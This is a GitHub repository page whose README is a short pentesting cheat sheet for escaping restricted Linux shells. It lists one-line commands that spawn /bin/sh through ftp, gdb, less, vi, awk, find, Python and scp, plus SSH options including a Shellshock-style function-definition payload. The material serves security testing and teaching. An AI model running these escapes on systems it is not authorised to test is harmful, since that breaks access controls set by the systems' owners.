Skip to content

These are some commands to be able to face the shell jail in linux during pentesting. Have fun!

Notifications You must be signed in to change notification settings

MarcoRab01/JaillShellEscape

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 

Repository files navigation

JAIL SHELL ESCAPE (LINUX)

Jail-shell is a Linux security tool mainly using chroot limiting users to perform specific commands,and access specific directories. Chroot, short for "change root", is a Unix operation that changes the apparent root directory to the one specified by the user. Any process you run after a chroot operation only has access to the newly defined root directory and its subdirectories.

Commands that let you execute shell commands

  • ftp > /bin/sh
  • gdb > /bin/sh
  • more > !/bin/sh
  • less > !/bin/sh
  • man > !/bin/sh
  • vi > :!/bin/sh
  • vim > :!/bin/sh
  • scp -S /tmp/getMeOut.sh x y:
  • awk 'BEGIN {system("/bin/sh")}'
  • find / -name FileName -exec /bin/sh \;
  • echo os.system('/bin/sh')
  • echo import('os').system("/bin/sh")

Maybe SSH can help to escape

SSH or Secure Shell is a network communication protocol that enables two computers to communicate and share data.

  • ssh username@target -t "/bin/sh"
  • ssh username@target -t "bash --noprofle"
  • ssh username@target -t "() { :; }; /bin/sh"

About

These are some commands to be able to face the shell jail in linux during pentesting. Have fun!

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published